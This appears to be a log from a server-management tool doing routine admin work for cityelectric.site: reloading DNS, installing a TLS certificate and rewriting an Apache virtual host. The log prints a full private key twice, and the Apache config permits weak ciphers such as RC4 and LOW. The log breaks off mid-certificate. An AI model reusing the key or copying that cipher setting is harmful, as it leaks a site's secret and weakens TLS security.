chmod 755 /tmp/pkp281453; /tmp/pkp281453; rm /tmp/pkp281453

2025-08-26 15:01:01: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2025-08-26 15:01:01: 

PUT: /tmp/pkp197825

#!/bin/bash
rndc reload cityelectric.site 2>&1


2025-08-26 15:01:01: 

chmod 755 /tmp/pkp197825; /tmp/pkp197825; rm /tmp/pkp197825

2025-08-26 15:01:01: 


zone reload up-to-date


2025-08-26 15:01:13: Establishing a remote connection
2025-08-26 15:01:14: 

PUT: /tmp/pkp316564

#!/bin/bash
temp_file=$(mktemp)
chain_file=$(mktemp)
TARGET=8b681b324e20018bd65d7ce40680da56.crt
CHAINTARGET=8b681b324e20018bd65d7ce40680da56.chain.crt

cat > $temp_file <<'endmsg'
a1:41:c5:04:8a:e5:96:1a:82:90:c8:11:ee:4b:3c:b3

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBkWM6USfxunk26dvcWzNo+Z4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwODI2MTQwMjQxWhcNMjUxMTI0MTQwMjQwWjAcMRowGAYDVQQD
ExFjaXR5ZWxlY3RyaWMuc2l0ZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAPypQ1yjyOK0UXzRd+KAzbmUJ6DtxFzJRoFqHL6i+dTRxHLn/8JbTIorrafR
0w862yNHV5tqg1m2fmI97BqW0gCW3NsHmIr8PtE0VmBk8H+eEsHT2JS0R+Ymn6a1
RFtgeH4uEeC8Kxh/46DiQ6JeFa5YsdVN+Ky8ofAxOHX0oUklQAmVzWfuIyhoKxMM
EfmuCUNMOAza3lKVhs+5rXkzWp97yDRDuJ/werNN7u1urBzeaOzTUrd5tIhpS/a1
/13D+i6LPBWuppVKGRiPXpMLtztbcuau6nlaf1Oi4TpDwD06dXPOs++/JnacNHLt
TQbf4tGiIlYo7ohYpYk/c8gdIp8CAwEAAaOCAiMwggIfMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUfAKe5q80CHGSVolrs03zlmCQJccwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFjaXR5ZWxlY3RyaWMuc2l0
ZTATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzEyMS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEA
dgAN4fIwK9MNwUBiEgnqVS78R3R8sdfpMO8OQh60fk6qNAAAAZjm5bheAAAEAwBH
MEUCIQCobZUmwo95bGxtOXfUQMfKgVFtatb5YtOdXTm4t60c7gIgLxbF1zAV5Tjz
PBn6/Cmhi7SJzLgP9UvIYMb9xPFlfNEAdwAS8U40vVNyTIQGGcOPP3oT+Oe1YoeI
nG0wBYTr5YYmOgAAAZjm5cBCAAAEAwBIMEYCIQCLv7XssVTVEGCvXCY2ZOWN7ERL
DRbJ2wAmouX1ZBlT4AIhAIgEGjCKmulf1kkBJnKtl3TmSldmeUznVmA2M40G0uNJ
MA0GCSqGSIb3DQEBCwUAA4IBAQAF079oZ6UVKMF/BCx8Jh6/kl2D+dCNWe4VyIWm
eZnKD0gPvkXM4QqW3klaOVDNJ4R89nd8ZFwc6Qb965An7aljSEmaP4MU38W9ysxd
S5RjDhnU3C/cVZo7r6X+69JRVT4+u4y2HqNSDWFIXoozUMyzUA5Y89nLOnf8dNlD
mEOi2ARLgJ4WRed0CFm9UIqTtlDDvIhX3ugpfxB+whuV7+7hG4adJfCtTRx8XH8V
gSQrzbywU+MrzezfpeVvzP+1Y/A28a2NkaRf7gOQTNONcFbUsMmbxFO3lhTmNSlh
Uk3Tg4ravV91I2AROJL+zHaIXIl3Rowt17DM3UVXKQiPugGq
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQD8qUNco8jitFF8
0XfigM25lCeg7cRcyUaBahy+ovnU0cRy5//CW0yKK62n0dMPOtsjR1ebaoNZtn5i
PewaltIAltzbB5iK/D7RNFZgZPB/nhLB09iUtEfmJp+mtURbYHh+LhHgvCsYf+Og
4kOiXhWuWLHVTfisvKHwMTh19KFJJUAJlc1n7iMoaCsTDBH5rglDTDgM2t5SlYbP
ua15M1qfe8g0Q7if8HqzTe7tbqwc3mjs01K3ebSIaUv2tf9dw/ouizwVrqaVShkY
j16TC7c7W3Lmrup5Wn9TouE6Q8A9OnVzzrPvvyZ2nDRy7U0G3+LRoiJWKO6IWKWJ
P3PIHSKfAgMBAAECggEAEfkgd5iXE7lsCosEEjLDb64gW4xOaaNPxqj7vnvtdbwu
U1Y5lWPVQAb3ZXbBotW2/P14N/ANw/X9a5OoFgQgkDYrI9GYglqLRWqJsnW7vfhK
sUsWnw1sB+07cip24GEucRtp3ijEkAuY77rowMYcmLhqfhf71p3cjy+RKqLqTj+Z
7ZSzNqwA5BVzI7K+6W7zCT35k0LWhxFfxc1FPbI0qX9BtQf3sr9uoz1lhbkBPOVY
iVdUTy40ZI5w0vuuUAti6573ccYbSODwu0Wf+TF6HaOGYQyjWFaJ5J5HJnOBk09U
SJ6jYLbvZehe9hVjaeBfr8YkhTO05QEK6VYy51QZcQKBgQD+gH1R519p7S/yRVVs
LEwIS+ByLSkTEHI9ysayCLMsMKy2k8lfFwWVdI6dirrbZYpMacV4VBLGmQeG28U9
73q3qeCooMZ9+DZJpULAHUqvsEzaVXcfZKd9/2YnR3AJcc7e+0q+ik8JGD6uNaCM
qQgkP4/U347o5+18Dayx/UtU4wKBgQD+Jf/ysiGVGCrBlNS0uoAt+95GTNZEZkZ+
HBCT0n6DrDR67rDITt5MqZq0YqxngpS4GE/8g/3Z58IepL3yGRRFibl0Hbsutapm
joQfIP//IqJO9B0VmQsuZzo2jxIXuXghSo7w7dKCzMBRf7llJKLVS8se0vOF+NSZ
Cw1q1mfkFQKBgHH20adyh1xktPq1J3poH6f7akdWh7UcwTuAaRdiI/Ge3khnx13I
blyttAtCC0ihoJt1JdMrOrkp35/5G8sPSRGjhZGdZSUVmCHEWi6zLzWbKd7/NHef
WA1o57KhH79q8isRtje6sYeuDqtuIjW6n4Wz3NGDRnhvGv5ZFUMi3K/nAoGBANvW
IORdA0GFaw6R38AJBvE/ydADjOATm+xf+FL1pCvfnHGt4EsUNaQYnVJle/35bQ0l
MqMZxU5k83wwQoGVAfz4meuAADbyO1iE9HI8yFN4MO+cpz/UZ2CXODqTXTIaY3hg
lu5+uTYdSEn28nYzz4ozCps6HB4J1FQhxFRi6/DVAoGALPJTrKWlggxFyC2/iE60
AJV5kuLWepG0TqUQm2nkUY+ZvIwidW61R46udeLa8ba7SqXUmZc9FL7JAglYl2dR
F9/AEenVMDIEDV0sN/qS0BZm0LUMoGqNcMQvQgULw9EQ7f+HHzVF6l08/jVkGZ+n
R/9JrM145g8jLST7tT5udYE=
-----END PRIVATE KEY-----


endmsg

cat > $chain_file <<'endmsg'
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	cp $chain_file /etc/ssl/certs/$CHAINTARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file
rm $chain_file


2025-08-26 15:01:14: 

chmod 755 /tmp/pkp316564; /tmp/pkp316564; rm /tmp/pkp316564



dir=/etc/ssl/certs


2025-08-26 15:01:15: 

PUT: /tmp/pkp662049

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/cityelectric_www_site.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-08-26 15:01:15: 

chmod 755 /tmp/pkp662049; /tmp/pkp662049; rm /tmp/pkp662049

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/cityelectric_www_site.conf 45

<VirtualHost *:80>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/cityelectric/www_secure_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2025-08-26 15:01:16: 

PUT: /tmp/pkp607408

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=cityelectric_www_site.conf
TARGET=/etc/apache2/sites-enabled/cityelectric_www_site.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_secure_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SSLCertificateChainFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/cityelectric_www_site.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2//etc/apache2/sites-enabled/cityelectric_www_site.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/cityelectric_www_site.conf= 1'
fi


2025-08-26 15:01:16: 

chmod 755 /tmp/pkp607408; /tmp/pkp607408; rm /tmp/pkp607408





2025-08-26 15:01:17: 

PUT: /tmp/pkp700556

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-08-26 15:01:17: 

chmod 755 /tmp/pkp700556; /tmp/pkp700556; rm /tmp/pkp700556



.


2025-08-26 15:01:18: Establishing a remote connection
2025-08-26 15:01:19: 

PUT: /tmp/pkp682726

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-08-26 15:01:19: 

chmod 755 /tmp/pkp682726; /tmp/pkp682726; rm /tmp/pkp682726



VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cityelectric.site (/etc/apache2/sites-enabled/cityelectric_www_site.conf:2)
         port 80 namevhost desktop.pjy.us (/etc/apache2/sites-enabled/pjy_desktop_us.conf:2)
*:443                  is a NameVirtualHost
         default server cityelectric.site (/etc/apache2/sites-enabled/cityelectric_www_site.conf:19)
         port 443 namevhost cityelectric.site (/etc/apache2/sites-enabled/cityelectric_www_site.conf:19)
         port 443 namevhost desktop.pjy.us (/etc/apache2/sites-enabled/pjy_desktop_us.conf:21)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-08-26 15:01:20: 

PUT: /tmp/pkp331976

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/cityelectric_www_site.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-26 15:01:20: 

chmod 755 /tmp/pkp331976; /tmp/pkp331976; rm /tmp/pkp331976

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/cityelectric_www_site.conf	1300

<VirtualHost *:80>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_secure_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SSLCertificateChainFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt
</VirtualHost>







2025-08-26 15:01:21: 

PUT: /tmp/pkp220561

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt')
    show_file('/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-26 15:01:21: 

chmod 755 /tmp/pkp220561; /tmp/pkp220561; rm /tmp/pkp220561

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt	3551
a1:41:c5:04:8a:e5:96:1a:82:90:c8:11:ee:4b:3c:b3

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBkWM6USfxunk26dvcWzNo+Z4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwODI2MTQwMjQxWhcNMjUxMTI0MTQwMjQwWjAcMRowGAYDVQQD
ExFjaXR5ZWxlY3RyaWMuc2l0ZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAPypQ1yjyOK0UXzRd+KAzbmUJ6DtxFzJRoFqHL6i+dTRxHLn/8JbTIorrafR
0w862yNHV5tqg1m2fmI97BqW0gCW3NsHmIr8PtE0VmBk8H+eEsHT2JS0R+Ymn6a1
RFtgeH4uEeC8Kxh/46DiQ6JeFa5YsdVN+Ky8ofAxOHX0oUklQAmVzWfuIyhoKxMM
EfmuCUNMOAza3lKVhs+5rXkzWp97yDRDuJ/werNN7u1urBzeaOzTUrd5tIhpS/a1
/13D+i6LPBWuppVKGRiPXpMLtztbcuau6nlaf1Oi4TpDwD06dXPOs++/JnacNHLt
TQbf4tGiIlYo7ohYpYk/c8gdIp8CAwEAAaOCAiMwggIfMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUfAKe5q80CHGSVolrs03zlmCQJccwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFjaXR5ZWxlY3RyaWMuc2l0
ZTATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzEyMS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEA
dgAN4fIwK9MNwUBiEgnqVS78R3R8sdfpMO8OQh60fk6qNAAAAZjm5bheAAAEAwBH
MEUCIQCobZUmwo95bGxtOXfUQMfKgVFtatb5YtOdXTm4t60c7gIgLxbF1zAV5Tjz
PBn6/Cmhi7SJzLgP9UvIYMb9xPFlfNEAdwAS8U40vVNyTIQGGcOPP3oT+Oe1YoeI
nG0wBYTr5YYmOgAAAZjm5cBCAAAEAwBIMEYCIQCLv7XssVTVEGCvXCY2ZOWN7ERL
DRbJ2wAmouX1ZBlT4AIhAIgEGjCKmulf1kkBJnKtl3TmSldmeUznVmA2M40G0uNJ
MA0GCSqGSIb3DQEBCwUAA4IBAQAF079oZ6UVKMF/BCx8Jh6/kl2D+dCNWe4VyIWm
eZnKD0gPvkXM4QqW3klaOVDNJ4R89nd8ZFwc6Qb965An7aljSEmaP4MU38W9ysxd
S5RjDhnU3C/cVZo7r6X+69JRVT4+u4y2HqNSDWFIXoozUMyzUA5Y89nLOnf8dNlD
mEOi2ARLgJ4WRed0CFm9UIqTtlDDvIhX3ugpfxB+whuV7+7hG4adJfCtTRx8XH8V
gSQrzbywU+MrzezfpeVvzP+1Y/A28a2NkaRf7gOQTNONcFbUsMmbxFO3lhTmNSlh
Uk3Tg4ravV91I2AROJL+zHaIXIl3Rowt17DM3UVXKQiPugGq
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQD8qUNco8jitFF8
0XfigM25lCeg7cRcyUaBahy+ovnU0cRy5//CW0yKK62n0dMPOtsjR1ebaoNZtn5i
PewaltIAltzbB5iK/D7RNFZgZPB/nhLB09iUtEfmJp+mtURbYHh+LhHgvCsYf+Og
4kOiXhWuWLHVTfisvKHwMTh19KFJJUAJlc1n7iMoaCsTDBH5rglDTDgM2t5SlYbP
ua15M1qfe8g0Q7if8HqzTe7tbqwc3mjs01K3ebSIaUv2tf9dw/ouizwVrqaVShkY
j16TC7c7W3Lmrup5Wn9TouE6Q8A9OnVzzrPvvyZ2nDRy7U0G3+LRoiJWKO6IWKWJ
P3PIHSKfAgMBAAECggEAEfkgd5iXE7lsCosEEjLDb64gW4xOaaNPxqj7vnvtdbwu
U1Y5lWPVQAb3ZXbBotW2/P14N/ANw/X9a5OoFgQgkDYrI9GYglqLRWqJsnW7vfhK
sUsWnw1sB+07cip24GEucRtp3ijEkAuY77rowMYcmLhqfhf71p3cjy+RKqLqTj+Z
7ZSzNqwA5BVzI7K+6W7zCT35k0LWhxFfxc1FPbI0qX9BtQf3sr9uoz1lhbkBPOVY
iVdUTy40ZI5w0vuuUAti6573ccYbSODwu0Wf+TF6HaOGYQyjWFaJ5J5HJnOBk09U
SJ6jYLbvZehe9hVjaeBfr8YkhTO05QEK6VYy51QZcQKBgQD+gH1R519p7S/yRVVs
LEwIS+ByLSkTEHI9ysayCLMsMKy2k8lfFwWVdI6dirrbZYpMacV4VBLGmQeG28U9
73q3qeCooMZ9+DZJpULAHUqvsEzaVXcfZKd9/2YnR3AJcc7e+0q+ik8JGD6uNaCM
qQgkP4/U347o5+18Dayx/UtU4wKBgQD+Jf/ysiGVGCrBlNS0uoAt+95GTNZEZkZ+
HBCT0n6DrDR67rDITt5MqZq0YqxngpS4GE/8g/3Z58IepL3yGRRFibl0Hbsutapm
joQfIP//IqJO9B0VmQsuZzo2jxIXuXghSo7w7dKCzMBRf7llJKLVS8se0vOF+NSZ
Cw1q1mfkFQKBgHH20adyh1xktPq1J3poH6f7akdWh7UcwTuAaRdiI/Ge3khnx13I
blyttAtCC0ihoJt1JdMrOrkp35/5G8sPSRGjhZGdZSUVmCHEWi6zLzWbKd7/NHef
WA1o57KhH79q8isRtje6sYeuDqtuIjW6n4Wz3NGDRnhvGv5ZFUMi3K/nAoGBANvW
IORdA0GFaw6R38AJBvE/ydADjOATm+xf+FL1pCvfnHGt4EsUNaQYnVJle/35bQ0l
MqMZxU5k83wwQoGVAfz4meuAADbyO1iE9HI8yFN4MO+cpz/UZ2CXODqTXTIaY3hg
lu5+uTYdSEn28nYzz4ozCps6HB4J1FQhxFRi6/DVAoGALPJTrKWlggxFyC2/iE60
AJV5kuLWepG0TqUQm2nkUY+ZvIwidW61R46udeLa8ba7SqXUmZc9FL7JAglYl2dR
F9/AEenVMDIEDV0sN/qS0BZm0LUMoGqNcMQvQgULw9EQ7f+HHzVF6l08/jVkGZ+n
R/9JrM145g8jLST7tT5udYE=
-----END PRIVATE KEY-----




----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt	1806
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
